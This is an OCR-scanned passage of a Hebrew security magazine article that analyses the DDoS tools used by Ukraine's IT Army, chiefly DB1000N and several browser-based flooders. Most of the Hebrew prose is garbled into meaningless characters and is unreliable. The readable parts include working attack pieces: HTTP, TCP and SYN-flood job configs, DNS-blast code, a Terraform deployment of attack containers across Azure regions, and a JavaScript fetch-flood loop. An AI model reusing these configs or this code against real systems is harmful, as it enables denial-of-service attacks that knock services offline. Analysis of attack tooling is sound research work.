.(DoS) "annn? oY NN D'WAIN INNSY DNIANN 1AW 7700 DXV AT .web Nwn Dy

ANKXY7? TCP-2 RST NI NIYXNXA) 112'NN NN'A0 DX NIZAONY NINITR NIVPRD X1 Yan DN WNR7
NN - TN 0NI2'NN 72 DR 210 NMYAY RIN TN YORn .NMwn T 9y (HTTP-2 Timeout wiza XInw
NIIAYN D NIXINY NI017 770 ynxn nwiy X7 "22n .Na1v Slowloris NOpNNa NNRY7 Nk X7
X7 ,12'7v 1Dno1) DDoS protection 7n1n MNX7 N'NINNPNA DA NI772 INIR 7'oN NNWN TR 1'N'01Y

.2N22'0 D 73 N7 715 X7 0N'7'o11 oMINN jITh L (17 NN

NINIPIN 72 XN NN DY QPN NIMIINAR 1T - 0N DR 91N7 17210 T
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DB100ON - Death by 1000 needles

# IT ARMY OF UKRAINE

4.3 DB1000N

Check our own program - Death by 1000 needles (DB1000N)

10171270 VAN 72 NNI0NA WIADY 117 RX'Y |ayn DN "70N "X KN 7"10 700 790 X7 "avn Dw
19%7 .github-2 N'aNI9 A"P'NY7 NNIR DIONI MW DAY 202 NQITNA D A¥IN JAoNd .NI'RIPIR v

400-7 2N oY1 LD XM TIV'N N7 W' 121 26/02/2022 1IXNA 11970 X1 700,00 NNIVOIN

N7 D'D01NNI NIYW NN 75 NIDTYNA A'RP'Mn 9011 .071VN 701 DN contributors DV D'-commit
M7 A¥N71 T KIN PR N7 T DX IPN7 DNYY Inwn X7 CTIVIE DN (I7'D 0¥ TIY

JMIyny

N7 (N'YLINIPITN '97) IXINY? 72w WATIw nn 721 Golang-2 ANDaw cross-platform yaw "0 1am

.that's it .NNIN YD1 N¥PY79RN DX TNINYT ,N'01N2 nnion X7w IP naimd oy VPN-2 T'ox¥nY

DTNN NI NIRRT (170 117 790N KINY [11'O0 2ANPN 7192 250 NI7IdDN 75 DX a'¥n? DIDNN NNIX

2720 7Y N¥IN N'RN1 NDD L9100 7'NNA .KAXND NNIYWY? DNNIY ' RAPIR-'A1711000

D VT N¥ 12'7V QOIN KIN N'WKRD L[11D7 72 0NIVIXK 7V DMI' 1INIX - NOVIYWD TINA NI¥2 TAI 200
XIN DN INXY7I 00N DNKRY N9 710 17w IP-n XN L17W n0NAN NNl aITA client Nk NyT?
NOIYNN 7w 0MR7 717%1 UNNA .NNUN NNV ALY VIYD TXI git-N NN targets-n Y2l DX [2TYnN

VXN X'NY NS 7NN 'alol

NINIPIN 72 XN NN DY QPN NIMIINAR 1T - 0N DR 91N7 17210 T
www.DigitalWhisper.co.il
23 2022 'oOx ,138 |12



https://github.com/Arriven/db1000n/
https://arriven.github.io/db1000n/
https://arriven.github.io/db1000n/
https://arriven.github.io/db1000n/
https://arriven.github.io/db1000n/
https://arriven.github.io/db1000n/
https://arriven.github.io/db1000n/
https://arriven.github.io/db1000n/
https://arriven.github.io/db1000n/
https://arriven.github.io/db1000n/
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QWA NINNTA NNK 7 N9PNNN YA AXIIN 720 DU D 12'7'2 JNONN NAMD AT (NMIP XNNINN

22200 DYN NP IR W00o791 "Naruto Ultimate Ninja" nwninni 10nX1 nnTonn "Haku
7 0'791 "Naruto Ultimate Ninja" j onn "Haku"

IR XIN MR VOYNA NIDT NNY IX NOPNNN v

"There is only one person who matters to me, and | live to protect and serve him.

That is my purpose.”

.NI'RIPINA 'NDIN 2¥N7 VOWNN |'2 WP K7W TWOKN 'N

https://www.youtube.com/watch?v=I1Jbal2wmar8&ab channel=Yondaime :n1T0NN YOF'7 WP

0P'N9N 7Y repo-N 7V MI¥PA V1YY 7'O0N .LP'N9L D'RNY ANXTHORATA K'N N1MYA AT

27U D'YOMNIFITA 7Y 7ON01 DX ?NNIDN NN NIV 7Y 11 190N YIN'Y QWYY 'An7 71ava

NI TWONX ThHn 2V avn oy T L7'NON

NIYXNXA IT NIFMWN NOM97 SSH 001an N'¥nIVIX '*20) Ansible Niy¥nXa Linux VM W setup
(T

seamlessly [91X2 ExpressVPN DY NINIBV79 190107 Nipwnnnn

N2'10 751 707 build viIx2'7 docker-2 win'y

auto-scale y¥2'7 wnTIwd cluster-7 pods 190107 ANI' NaNT NMI¥a deployment y¥17 0'X¥IN DX IX
Kubernetes niy¥xnxa horizontally

Mxy "720 7Y events-1 NIDPNAN 7W NIPNIVN "INK AIVY7 7'awa Prometheus-2 win'w

y¥a7 72wa (TIp NIYXNXA 2V TMUN nnwnt ") Terraform-a win'e? nroIX nnte 17'9X

.Heroku ,Digital Ocean ,Azure ,GCP ,AWS-7 deployment

OX N'IAT 12 JN'NXI 22an .©waam UP'I'\D'? INTN DINN2 D'NNIN 7Y 11 190NY NTAIVN AIX'Y2

NI9PNN win'm2 straightforward-1 nNIVW *T X'n 0P'NSN 7w NNXY D270 0"DN D NNIK 17RWUN

-2 deployment 1V¥2'y D1'DN 12 DNN D'WIXK NND L[ 10D .NIV'YW 7w 77 19001 'Nivivwe' DDoS

'NAWKN '019 DX IN'w'l) ?DDoS 1D N7in X7 n'71vo yx¥a? 7'awa cloud-a kubernetes 7w cluster

(nany 21> on'v

:0{7'N9N 7V 11DV NAYNA 7'NNA AT DY

core
jobs
runner

utils
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https://hero.fandom.com/wiki/Zabuza_Momochi
file:///C:/Afik/DigitalWhisper/Articles/MAGAZINE/138/%09https:/www.youtube.com/watch%3fv=IJbaI2wmar8&ab_channel=Yondaime
https://www.ansible.com/
https://kubernetes.io/
https://prometheus.io/
https://www.terraform.io/

125 nwyn? TWKXD Golang M9WA DIYA TIZN NN D 207 [N src NN N2 N9'0 DNAI DX

2727 120w NIINA7 N9 NrX .0 open-source D701 WIN'Y DN (core) Y720 7w DMtyn

775 7w nn'wn DN 7onw 21T TN YN NTva (Jobs) Nim'wn @7nn 'wRIN yalpn - jobs Nt
D'oN% 907 X7 NN 7V DMYv7 .nn'wn 0'971W1 D'RNN APl NNTYQ D'WA D INX [NY7X  NIN'wnn
JIOXIN NIN'YNANE DX AT "TD N NIM'YWNN DR O'RAM L IPNY Y20 [NIR N9PNN TV NI

.age W2 Go No9YWY7 Open Source "72 NITYA M7 NIYONI NIOXNN 170N 7D

:D'IVNI9 NNdN NAdYIMIISON VNI NNIYAY NN'wN 7D
NO'PN7 D'UNNYUN D 7IP1I0N9N A0

NYUPaNao e

NOPNN TV e

NOPNNT7 N9PNN |2 AT 72INVI'R e

DI'o TV NIdNY TIX Y' OX MINN "IX1'2 NINYN NO0IN nNNAIT? ,0'9011 DYVATD 901N D'NYDT?

TNV 190N 727N IPNYT IWOXK NNW IX ND0I1 NO'PN IX? N9'PNN
:5 W nWYNY 12K 1INIX NIN'WN 7W DRIY D'AI0 4 W' Y0INIRIT ' 7uw ninnY

DX) POST IX GET a10n request NIv¥nXa http/https "X qIzn? 7'awa nTvim :HTTP nn'wn
T8 D'7'n 1000 nw nMNw 0 nix .(login page 7y DoS Nopnn 7w Nj7na INd API-7 yT'n D1avn

:HTTP al1on nwa N'RM1 NDD

d": "GET" //GET is used to get main page information so it should 1086% when getting target,
"http://. .com” ffurl to target,
: 1 /f the less number is the more traffic is send

:DoS yx¥27 7'awa UDP 71710N91 win'y :UDP nn'wn

random_payload 1@ -}}"
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https://github.com/FiloSottile/age

D'IIN 1901 VA7 DY DYO 721 "0 7w TIipA "{{- random_payload 100 -}}"-2 n'wnnwn

.7 NMpn2a o'in 100 .7n1mn
:TCP ny 72X |1V INIX :TCP Nnn'wn
"address™: °

"interval ms":
"body”: "lasdhgk;jasngjkla;sdbngjkalnerjasndkgjbadsgjklabrgjkbsandkjgbasklebgjaskbdgaskljdgbaslhkdg”

D OTIPN 'R HTTP nn'wnn Ny nn'wnn HTTP-7 n1omw 80 01191 NAITAY NNNYY |¥7 N

07980 N2OWN 7w header n11a X7

.2-4 Layers 7¥ NITUN NX W71 INTPNN NP DX N9pNn y¥a? 0'¥nwd Packetgen nn'wn
NITY 0MN7 ,Nmiao TCP\UDP\IP\Ethernet ni7'an ni7w? ,MAC\IP\Port spoofing y¥a7 TWON
wn'7 ICMP > Layers DNINA O'9011 071710097 WIN'WN NIX 2'NINY7 DA N'YOIX NNt L'ID1 NIVPRD

:SYN flood nopnn y¥a7 nx11 DX 1wn?

"payload”: "{{ random_payload 160 }}",
"ethernet”: {
"src_mac { random_mac_addr }}",
"dst_mac": "{{ random_mac_addr }}"

“{{ local_ip }}",
“{{ random_ip }}"

“{{ random_port }}",
1
J

1
(98 J
“{{ random_port }}",

: true

FIN nopnn 7unY 1yxnaw NIXY?7 AWK "720 NXIN AT PNIVPZR9 NITY 0TIN7 NIY NIDN NN

L7227 N9'Y X7 NYNY N'ynn N2OWA NIYTIN 0'N71IY nnnaonav flood
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L Technoloqgi

N1R02 71 van XIn (9102 72N three way handshake mbd) TCP hiarn nrao 7y 7non FIN a7

:NDD 11D TNX 1'NA DI D'MYD RRX'M X71112Nn

Protocol Length Info

NINN N'XVINA YIA97 NN DY DAI0N NIVPRO XM 7¢ AW - DoS NI9PNNA NYdIN NR'dL IT
20 AT NNWN/oMpn TRINNIR TAY7 'R YT X7 RIN D71 071VNn 727" XINY 2wnN X7 NN AT

AI'NN NX

NP X'AY 'R TIiga NN 22N TIV'NI NY'oIn K7W Nn'un

DA NN'Y' Q1IN N'XOIXR 1000 *700 'anid DNS Blast Dwa open-source *72 NIV¥NX] :DNS nn'wn
T2 NOPNN YXA7 TWONY D'WIDIWN 11NIX ,DNS Nin'wn TIY NIRY7 117 KX X7 D DX .0"0IN DNS 'Mw

nN'Ynn ni1an

NI'NIPIN 7 XN NN NWIA DQHNIENIMIIAR 1T - 'O NN 1MNY 192N TX)
www.DigitalWhisper.co.il
27 2022 '1"9x ,138 |I'"1A



https://github.com/sandeeprenjith/dnsblast

logger.Debug("igniting the blaster",

(“rootDomain™, config.

rallelQueries))

main, config.Pro

metrics.IncDNSBlast{config. main, "™, config.Pro

return fmt.Errorf("failed to re ve nameservers for the root domain [rootDomain=

config.RootDomain, err)

:(T%2 NI yopr) nXan NNIXa AN NINVAN 722 ,000)

{
"type": "http",
"count": 5,
"args": {
"request™: {
"method”: "GET",
"path™: "https:/Swew IEEGEGED.
}
T
{
"type": "tcp”,
"args": {
"address”: "G 0",
"body": "{{ random_payload 18 }}",
"interval_ms": 1@e
}
T
{
"type": "tcp”,
"args": {
"address”: "S-,
"body": "{{ random_payload 18 }}",
"interval_ms": l1@a
}
b

DN NNIXY NNUN 7Y 71 292 wnnwin'?i 1nxya nNun 7w config yalp 'on7 nX9IX nn''yp
WP "1 1n7wn nNun qipnY? 7'awa DB1000N-1 win'y NIWY7? 0710 ANXK TNX 721 X 17D .qI7nY?
nNon oy yalz 13'>' 0"oin D'-hacktivist OX N'N'X 7Y UTN X'WA 121TA N .7701 NIROING

.open-source-n 2w 'o1' INT .0DN7Y 175N DY D'2'XZIXD DX 197701 N'Y' X ZIX

N2>) DNIX 0D1'9¥N DN |Z)'7I INXN DNV IVT' D'ONNY D'¥IN K7 D'RAPIROY DTV Y'Y DTN 1070

.(Tiy'ma niwn ninoY

NI'NIPIN 72 NI NN NN QNI NIANIIAN 1T - 10N DX Q1pNY? 19310 1Y)
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https://raw.githubusercontent.com/db1000n-coordinators/LoadTestConfig/main/config.v0.7.json
https://raw.githubusercontent.com/db1000n-coordinators/LoadTestConfig/main/config.v0.7.json
https://raw.githubusercontent.com/db1000n-coordinators/LoadTestConfig/main/config.v0.7.json
https://raw.githubusercontent.com/db1000n-coordinators/LoadTestConfig/main/config.v0.7.json
https://raw.githubusercontent.com/db1000n-coordinators/LoadTestConfig/main/config.v0.7.json
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RN NIX AR NN'YNN N NNp7Nna

{
"type": "encrypted”,
"args": |
“format": "json",
"data":

"YWd1LWWuY3I5cHRpb24ub3InL3YxCig+IHNjcnlwdCB55@Z0bVASbESLMzhweczdnckVEBMTIE]
TEWXjSBswaBtzeQoffugPkRW1d/i50fczmBaahLBZE+bdI1yD2vwhhV82D0aksGoqz /WBIjLmy
NX+wedx7btVNGzWTzCRATIId3DF75VaD69krr5805allbP1L16CQRbpbu/w3L7BRd328hdwies,
eXmip¥OM2B+B3vyG3gXaFcBafearLiT+wYktqCAph3DFpvFrdz LnQlgodlgfuwMwiillb+viaikl
Igc6ro2ZQsvescskoluQ2BQeBa3wlrk/1bhQajDAlD3jAL11EXSS v/ RE+YiBHs 3+zmWZnmsZsh
Yo@onSoelgbbxdmS1xN73raSeglDeI+74pnULRI+LOXrXyQONjSWoB3mfTdILEB+EaThEudzry:
KNX S KOt LQ4CEvvEMLWOVFd 2GCYFrY gzbnw3WdyYzuaVyEIE2ZHY zgr/ FRmi6GMTUG3SIsYAZ S
ymyhBstLegrIGGhFBQWUSEW/ rQ+PhIwtZQs1dTh1Q=="

}
¥
]
}

2nY NNN7Y NTAIN KIN R 27 DAYWY TN [N .7'y5N7 NOpNN IT'R YTI* *790 type-n NTY '9Y
|'RI tcp-7 DD 90% 7yn CWKD tep-1 http-n NIAdM NM'wnn 25 ,NI5pNn 7w 02IY 0'AI0 5 y'¥n
[122) [TV NXR'M NI¥A production ready X7 *720 D "IX .NINNKN NISPNNY ND"WN Nin'wn 7901
TCP '001an DN NAWNYT DI'MIYN D'RIPINDY D'V 0'0YI9N D "IN (Y WTIN §I10-YX¥NnX?

.(telnet ,SMTP ,FTP ,SSH nnai1)

NX D710 TUKR D'"IXN D'YIXK DIINXK 1NLVNN 7222 NA'ND v SARAPIRD NONN 'anid nio7

DIYY NND 7D NIMDTYIENIYTN DNV XIXN7 D 7y nwan

LINN'O DNV 7201 D'YIVY NI'RIPIR XAX7 D2ATINA N2 .WTH DX AT 2V N9 DMy Ixy? iy
7V YVAXRD N7 PNM'0AY RN ON'0N NN0Nn 72 DRD .qIpnY? DNon 17°K DN X7 DNR nwyn?
NP MK ?0'7IN "M 7Y NIMYN7 Yana nn 72X '70772 nimwnn NIMyn2a N2meyd pTnn
N> JSON vNIID NNLVN 7NYW 7X717 jobs a7 INIXK NN9NTI CLI-N NIY¥ANA 790 71VON7 N'NOIN
(79021 NI' TIYI) DAXYA DTN [11'0N DX IWY' D'YNNYAN 11 770 DX 7902 11NIX 72X DTN 11'RWY

(QIn X0 NNIRY IP-0 N2INd ' 7w 'an? 7\awa reverse DNS lookup Niwy7 1nar 7 yana

#7250 7w '0P9 NINM7 AITN
N2V 11720 T .qIPNY7 7'awa Y7250 wnnwn [N NI9PNNN 10 72 117 D'MIYA DXV IT N'7'N JIN1 :core

JIN'YNN NINKN NI7YI9N NIYWDIN DK WIA91 NYD 72X DT NXpP2
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N (2TYNN? 19X) N TV NI9ENNN

S queries 7w naNN AN'7w Nivynxa DNS 'MW 7V nomyn YWR nopnn - DNS blast
7w 7700 .TLS a2 7y TCP DNS nai UDP IX\I TCP '0olan DNS NIN7'R¥ ynn7 7aion '2on
.0"7 open-source V!N 0'02 7V N1 *721 ITN NOPZNNAN

AWK HTTP 21710092 NWUATA '97 DRNIN [DIXA YT NNIAYN NN'Y7Y NMYORNN NOPNN - HTTP
NILVN2 X1 ,TNIMA DDNINN DOS X7 .ANK IX N1 end-point 7y 0myn7? X'n nnaon 75
NN7¥N 170 X7 NIDPNNN INYI NNPN2 N0 NIIAYN 1D NIRYNY

217101ND2 OXNIN 91X YT NIIAYN NNY7Y NMYWORNN N'ON7j? syn-flood Nojnn - Packetgen

D212 190N 17V 12D D7 N'NY source-open *7a1n NP7aw module-2 NIt nwynY .tep/udp

NINW NTAIYN QY "2IX .20 T2 RPnT NN YT 127 102 X7, NIRTN NIRY0N0YIRIE ANV 7T
7w headers nma7t w1 pn MAC\IP\Port NiIamd> nnw?i Nian |Ny7 o1 woNn
1222 72T VIYD D NI (DY M7 IN'92 scapy-7 NnITA) OSI 7TINA 2-4 NIdWA DIRIVIND
NIy¥NXd DDoS-Guard 7w Nan |11 qipy? Wwornw YAML-Q nn'wn onlio? (71'7) n7ivn

VTN 7Y 21T TIRA 01N
N2N21 DB100ON- |21 KIN Nj7'vi 77ann .7190 N7'NNn2 7" nopnnn 7y n0'o - Slowloris

(Imm92a X71) Go-2 KIN DAY TNK source-open 721 AT 7T NX IN?7 DN TX ,Go-2

q¥j7 X7 AT 12D D'z D-open-source DYOPMINON INR'7A NO'PNN A0 NN D NIKAT7 DYDY 1IX

TN 72720 DR X'¥NN7 D20 'R, TINN 'M'0'A%7 "0 (0179 D'Mv)

MNNR QIPY? INNVNAY YAl KN metrics.go YaIR ,7wn? .07 ni7d' YW nanan n'7on utils n'p'n

templates n'"w7'n ba ny! .Prometheus nivyxnxa n2Iv nwixa 7w nipon TN wNNnn

XIN DY 1'RY TAND 77M .NIRP00'0LO 7TIMI NI9XNN 1'7NN 7V 'KINKY 77N ,'701 0IW D7TINYG

2220 Y1 NN DTN PN DR PTRY 7Timn

NTNAI Y RID NPT TR NPRPI7 NNIXa Y127 7100 o0 https://api.myip.com/-7 n'19 Niyyxnxa

TIV'N7 v oy) VPN-2 wnnwn? y*onni )3 72y ynn Xin 'oinn blacklist-2 nX¥Niw n1*Tna Nl

NID TY'N 7017 D NRN2D 72X NI 17RWN DX N 090 (VPN providers 7y nr¥*7nn on 12 "0 7w

2220 NIMN'% 210 1'YY X' 90dN N'OD TX 'A171100 NIND 7nj?

nc CheckCountry(countriesToAvoid []string) {
type IPInfo struct {

Country string " json:"country"’

ipCheckerURI := "https://api.myip.com/"

resp, err := http.Get(ipCheckerURI)
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https://github.com/sandeeprenjith/dnsblast
https://github.com/bilalcaliskan/syn-flood
https://github.com/bilalcaliskan/syn-flood
https://github.com/bilalcaliskan/syn-flood
https://github.com/bilalcaliskan/syn-flood
https://github.com/bilalcaliskan/syn-flood
https://github.com/bilalcaliskan/syn-flood
https://github.com/bilalcaliskan/syn-flood
https://github.com/bilalcaliskan/syn-flood
https://github.com/bilalcaliskan/syn-flood
https://github.com/valyala/goloris
https://github.com/valyala/goloris
https://github.com/valyala/goloris
https://github.com/valyala/goloris
https://github.com/valyala/goloris
https://github.com/valyala/goloris
https://github.com/valyala/goloris
https://github.com/valyala/goloris
https://github.com/valyala/goloris
https://api.myip.com/

or _, country :=

f ipInfo.

log.Printf("Current country: %s. You might need to enable VPN.", ipInfo.Country)

openBrowser("https://arriven.github.io/db10@en/vpn/")

log.Printf("Current country: %s", ipInfo.Country)

[1DTY 7w N7 q'oIn? NT'NYY over the air updates 7y N'RAINKY OTA N"P'N DA NN 90111
[" TV YN YXNAKY7 121 .010INY restart A7 IN\I Push-based 011571y Ix\I AT 0'02 7V '0NIVIX NINONA

.DMIYRIY commits N9'VI todo-1 121N

NN X7 DD TV P01 TN 7D IR DNIAN DX ,NYYNYT (117 NIRWIY DINNKRD NY2'NN .runner NN
NX 7NNNY7 AT 1MV W gorunner. YaIR PIY N'R'MA J2"IN NtR'MN DN0N DX DA [2AN7 JaIon
YNN7 IMLUNY runner 7¢ N1aNN DRI DAXD [NIX (Jobs) Nin'wnn DX N7I? KIn 10 config-n n1an
NIX 9IONK7 'NOINKY N7 DA XIN .core N'"Z'NA NIN'PY NRIYA NIDPNNN NIYXAX] NIN'wnNn DX

TIV'n 5':1213.]1I]IE}T\]1Iﬂ'1l3!]ﬂ
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https://github.com/Arriven/db1000n/blob/main/src/runner/runner.go

= "bomblet_we"™ {

source =

bomblet_count

region

CEe_group_name

attack commands

e "bomblet_cc™ {

. fbomblet"

Ce_group_name

attack commands

e "bomblet_uae"
= "./bomblet"

bomblet_count

E_group_name

attack commands

"Mumber of containers per region.™

"The default prefix for resources.”

"./bomblet"

Technologic

NIDINX NNKX NUITZAIX DN D'NN

-1 WIN'YUN NN DTN 11027, NYAIN 0'N9Y7 INTN DY DMINNA 0'NNIM 1901Y DTV ,DINKD
7v wn) Azure 7w 7700 7y 0191 NNIY Y NIMWUNY? deployment y¥a% 71awa Terraform

DMITR 6-1 container instances DMXI'Y NIXI? WWOX .NTI7IN DX wNnnY? 77awa (Microsoft

AN NANN nOPNNY farm NIx'? 72w 0nIY (regions)

bomblet_count
esteurope”
var .prefix
roup.main.name

ommands

- .bomblet count

anadacentral™

r.prefix
urerm_resource_group.main.name

var.attack_commands

var .bomblet_count

"uaencrth”

urerm_resource_group.main. name

var.attack_commands

n'xXomipImm 197 ANMNOW -¢ 72T OV '720 DX D'¥INIITX 722 TNX instance DMXI' N0719'T WD

220 219777 N1 .N9'PNT7 NIKIINND DY TNV 722 NIX JIYN7 ZNNN DY DT'RN 0% DM 01w

J'nOnn oY TIXN DX D'XNN7I NIV NIXa

/db18@en- coordinat

g additional f

s/LoadTestConfig/main/config.json"]

www.DigitalWhisper.co.il
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J1IN'Y NOPNNN 7TIA DX AN 7AW ITX 700 D17 qIok? [N

* Logs from North Europe region:

az container logs --resource-group attack-rg --name attack-northeurope-81 --container-name main

YT WAT TV, T¥N 72X Azure 7¢ N'MIWUN NIYYANRA N9PNN 7@ 21T7a ' T scale-2 1aITn , TNR Tyn
XN IT 200 7V 07w |amdI Terraform 0T Azure provider 7'awa n2'a0nN NX 291177 7'awa 11DV
-7 DW'N7 'R Q%Y DR Q%Y wnn) NRNNY )T DA 017 710 09MIRON DY T2 TA VI NA'oN
D NAY NN AT N9PNNN DX YN 0N Y70 DX TINY ,VM W Instance D'n'7, Azure portal
.ON™Y NyN NN7 0'DMY D'RIPIRNY YT DO 270 17X 97TV NIND N1 cost effective N1*nan

J12271n N7'0i79 It 17017 nYIANN NAXNN

D'7> 07D 0'd

.012702 NIXIAP'?I'RIPIRD JNONT DT NK IXXAY 0'9011 0'75 190N 'K NNN7AN NINTPNN DY
INIX qUYY 2720 73 7722 DisBalancer n1an 7w Liberator XIN 1127 NNIYN DX |WUNY '1D00 70
INONA 1Y'DINY N9'PNN 72 INYT NNAN DX N 2NPN 71927191 7192 17W 119'0N 2u1 117y 2N
PN 07201 7'NN1 .2NPN 192 117701 DN D7D 72 IR NINXIXPA A'¥N7 DA1DNA NNIX RIPIRD

.DMdNINN NN 0737 11aval 01o'oa

A'¥N7 72Wa DTINY 190N 1IWTTRN 'RAPZIRD nona (Alphal955Coder nkn DDOS KIN [IWRIN "790

27w wnn) TOR [9T9T T IXIN7 T¥'DI ANKL'AQ repo-nNn TIZn DX TINYT TXD - IR NNIX NIX
NIN "20N 7"10 NpPna 7aX VYN X7 DTN VOYNN NN 1NNAKR MDY NTIAYY? D'WYTIN 1INIX .(A7W NNR

."'0"7'n 1000 niw nMnN" 7¥ 'oX77 npEn Nnxa
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https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs
https://arriven.github.io/db1000n/azure/
https://github.com/Coder1955Alpha/DDoS
https://github.com/Coder1955Alpha/DDoS
https://github.com/Coder1955Alpha/DDoS
https://github.com/Coder1955Alpha/DDoS
https://github.com/Coder1955Alpha/DDoS
https://github.com/Coder1955Alpha/DDoS
https://github.com/Coder1955Alpha/DDoS
https://github.com/Coder1955Alpha/DDoS
https://github.com/Coder1955Alpha/DDoS
https://github.com/Coder1955Alpha/DDoS
https://github.com/Coder1955Alpha/DDoS
https://github.com/Coder1955Alpha/DDoS
https://github.com/Coder1955Alpha/DDoS
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9TOTN T NIRRT 720 MK D'NNISWD

DDoS Russia

/DDoS/ddos.html

DDoS against select Russian targets

Target list updated 03/08/2022 18:276 UTC and contains targets.

Dlease allow popups for this file. This 1s the control file. In order to stop
generating popups, kill this TAB, then you can close the others.

| 5 = | Open how many tabs?

|10 - |Recyc1e window after how many seconds? TOR
browser set to 30

| start |

| Stop all | **Not functioning yet**

This 15 a quick and easy script that anyone can run 1n a browser window. The
targets are preselected (you can view them).

NnNounN Yanpm n'axov X'7n NNID VIYSY 'VVO HTML QT2 71T - nY1y 1250 NN NIVYDL NINT? TWONR

(178 0'Wa0"7 122) TOR-2 TaIy 702 KINW D'NIVA K7 NNIX 7NNK'T .WRIN 1TAIN

- 17% 72% 1% 0%
MName Status CPU Memory Disk Network
> WAk Task Manager 14% 343 MB 0 MB/s 0 Mbps
’ @ Tor Browser (3) 0.2% 220.5 MB 0 MB/s 0 Mbps

NAY NIVTIN R'M IX9p? I7IOZ]I|71I DY9 721 TNX ANV 7 NNO XIN,NKX [9TOTA INIXK 11)7TAWD

Uncaught TypeError: newWindow is null
closepnLoad
setTimeout handler*closeOnLoad
openURLs
onclick

[Learn

Uncaught TypeError: newWindow is null
closepnLoad
setTimeout handler*closeOnLoad
openURLs
onclick

[Learn

Uncaught TypeError: newWindow is null
clnsennl aad
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DN NIT ONIX DNYRN K7W TY D71 pop-ups IWONR7 NIRYIN 737 |'NY 12Non pnwn NXp INX7?

:omion

Pop-ups blocked:

https: L.ru
https:
https:

cross-platform N¥M7 NION"NA |'XI 7T NNIY 190101 207M ™2901 Wpnn Tig 7Y nxpa nnay
11207 MK KIN - MIYKRIN DXINN NKY? \a X7 VIYD DY N'N ND0N D'V .0D1IY D19TOTA
XY UIWO KIN INND9) 1XYW YA DR w1 |'RY |1I'ON X D'NINDY D'-tab-n NX N'VNIVIX
function closeOnLoad(myLink)
i's
L
* newWindow = window.open(myLink);
setTimeout(
function()
I
1
newWindow.close();
openAnother();
}s

windowlivesec

)=

function openAnother(){
datalndex++;
if (datalndex == datalength) {
datalndex = 0;

1
s
closeOnLoad(dataobj.url[datalndex]);

, a

22 Inn 4 17 TR "PRAPIRD )NoN2a 107NN VI 117 1T NNXA ."22IN TIKA TI7a 12 3'no

(1) Jnonn rTmy

NI'NIPIN 72 NI NN NN QNI NIANIIAN 1T - 10N DX Q1pNY? 19310 1Y)
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D filey//C:/Users/ ftools/norussian/norussian.html

. . 35 Devools now follow the overall Firefox theme. You can revert to Light or Dark theme in
Russia MUST BE STOPPED! Help Ukraine WIN! ST e

URL Number of Requests Number of Errors
hitp /D 1016 0
https: QR 16 0
https/ QU 16 0
https:/ QU 16 0
http:/ R 16 0
T 16 0

T NN TR 7V NN¥ZA 75101 TN nvina NIXa Tay 7" 700 DAL mpow 0TIpn Y0h nnim

NIMP'Y NP 2-n NN 790 N2 T KD YR fany

inction flood(target) {
» (var i = 0;; ++i) {
if (queue.length > CONCURRENCY LIMIT) {

queue.shift()

rand = 1 % 3 === 2 ' : ('2' + Math.random() * 1000)
queue.push(

fetchWithTimeout(target+rand, { timeout: 1000 })

.catch((error) => {

(error.code = 20

‘eturn;
}
targets[target].number_of_errored_responses++;

1)

.then((response) => {
if (response && !response.ok) {

targets[target].number_of_errored_responses++;

1
J

targets[target].number_of requests++;

CONCURRENCY_LIMIT = 1000

queue = []

function fetchWithTimeout(resource, options) {

t controller = new AbortController();

t id = setTimeout(() => controller.abort(), options.timeout);
»turn fetch(resource, {
method: 'GET’,
mode: ‘no-cors’,

signal: controller.signal
}) -then((response) => {

clearTimeout(id);

Irn response;

}) .catch((error) => {

clearTimeout(id);

throw error;

NI'NIPIN 72 NI NN NN QNI NIANIIAN 1T - 10N DX Q1pNY? 19310 1Y)
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https://github.com/D3pR4V3d/norussian
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https://github.com/D3pR4V3d/norussian
https://github.com/D3pR4V3d/norussian
https://github.com/D3pR4V3d/norussian

Namd 7¢ mnwn n7apn flood N¥19NW NIKYYT 7010 ,var-2 iwnnwny NTAIVNA 1I27VNNY INK7
(n'7un dev tools-n 17N NIXTT? AWORWY 1ND) 2 71171 "1D0N AXWN NWPAN N'DI01'R NR71721 URL

.INXY INNN 7Y TN DX 71 NWPan NNK DY9I D'YO

na'on .|'uI7NY? (NIWNN DY Th1) NYRAN DR 702N client-d N™MY N response 72pNn X7 DX
N720 NN TIZN N'YUXRID .DMIDN DRY XNAD (NN NXAND IT AT N1IXa TIav? nna yim
DXNNQ DDTYNA DN NYX IN7WIY requests-N 190N DY NNUNAN 7W NIAINDN 72 X N7'oNY N7y

.N'"MYa nyo

NNN1D .7'Wr K71 012 1120 701 Narm D DY 272 TN CWON LINPow DTN 707 nniTa ,DI1>'07

JITIV X7 TR NWH79N 7w W\ [IWRIN DI [ITO9'N] ANDIY

N'NPIN 7Y |9TOT '001an 07D

'70 7V YIN%7 70 .plug&play nixna DDoS D'wy¥aNn DNXK 3-7 MW7 W TRAPIRD JNond
JNT.NIND [DTOTN DX IRWUNTI

https: / /fuckyvourussianwarship.netlifv.app
https://ddosmonitor.pp.ua/
http://www.notwar.ho.ua/

[271 DrAXWNN DX 17 X NPoony IT XN .netlify 7v awr (MY TIKND DU DYI1) [IWRID INRD

NNYIN XIN L ONKI .N71Y9 NX |7'OE)|'1'7 N'ROT

@ fuckyourussianwarship.netlify.app

A This site is suspended
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https://www.netlify.com/

p=://ddosmonitor.pp.ua

Internal Server Error

.
@ An environment could not be found via the specified host (custom domain name).

Recemmendations: .

In order to properly attach a custorn domain name to the environment without public IP addresses (i.e.
DNS record points to the Jelastic environment name via CNAME or ANAME), you need to bind the
appropriate domain name. It is necessary for the Shared Load Balancers to correctly route traffic to the
target environment.

:TAIYY XN 3-0 NKRN

|t Vipaivicixa sepcin

RUSSIA MUST BE STOPPED! Join IT ARMY of Ukraine

!I! With this tab open and active in your internet browser, your device is visiting tens of websites in Russia that are critical for the war effort. !!!

STOP RUSSIAN INVASION IN UKRAINE! JOIN FORCES WITH THOUSANDS OF PEOPLE AROUND THE WORLD TO STAND WITH UKRAINIANSI

NIYXNKXY ,NXRT DY .1NUN DX AYIY ANXRAY AR Xy it NKX7? XOIp? [9TOTNY NRMY nnnY

.OTIj7N 1212¥N 12DV 7'N1 12N NAITA NYWYNY D NIRY? NNy "[9T19T" 770Wnn "N vin'y
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flood{target) {
( i=0;; ++i) {
(queue.length > CONCURRENCY LIMIT) {
queue.shift()
}
rand = i ¥ 3 ==8 2 "' : {"?" + Math.random{} * 1888)
gueue. push(
fetchWithTimeout(target+rand, { timeout: 1888 })
.catch{(error) => {
(error.code === 28 Y {

. )

argets[target].number_of _errored_responsesit;
1)
.then({response) =»> {
(response && !response.ck) {
targets[target] .number of_errored_re

